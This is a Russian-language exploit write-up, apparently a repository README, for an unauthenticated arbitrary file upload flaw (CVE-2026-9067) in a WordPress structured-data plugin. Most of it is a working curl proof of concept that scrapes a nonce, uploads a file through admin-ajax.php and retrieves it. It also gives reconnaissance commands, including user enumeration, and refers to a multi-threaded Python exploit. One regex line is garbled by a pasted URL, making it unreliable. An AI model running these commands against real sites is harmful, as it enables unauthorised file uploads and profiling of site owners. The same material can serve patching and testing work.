
Schema & Structured Data for WP & AMP < 1.60 - Неаутентифицированная произвольная загрузка медиафайлов [POC & Xploit]
Документация и эксплойты для уязвимостей, обнаруженных в среде тестирования безопасности WordPress.
| CVE ID | Плагин | Критичность | Тип | Статус |
|---|---|---|---|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Высокая (8.1) | Неограниченная загрузка файлов | Документировано |
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-9067 |
| Плагин | Schema & Structured Data for WP & AMP |
| Затронутые версии | < 1.60 |
| CWE | CWE-434 (неограниченная загрузка файла опасного типа) |
| CVSS v3.1 | 8.1 (высокая) |
| Исследователь | 0xBassia |
Плагин Schema & Structured Data for WP & AMP до версии 1.60 не проверяет права (capabilities) пользователя в AJAX-обработчиках загрузки файлов и не проверяет тип загружаемых файлов. Это позволяет неаутентифицированному атакующему загружать произвольные файлы.
Важное примечание: Ядро WordPress блокирует исполняемые файлы (.php, .phtml, .html, .svg), поэтому прямого пути к RCE из этой уязвимости нет.
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
| Поле | Значение |
|---|---|
| Целевой URL | https://yorbit7.ddev.site |
| Версия PHP | 8.4 |
| База данных | MariaDB 11.8 |
| Версия WordPress | 7.0 |
| Метод тестирования | на основе curl (тестирование методом «чёрного ящика») |
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
DISALLOW_FILE_MODIFICATIONS.htaccess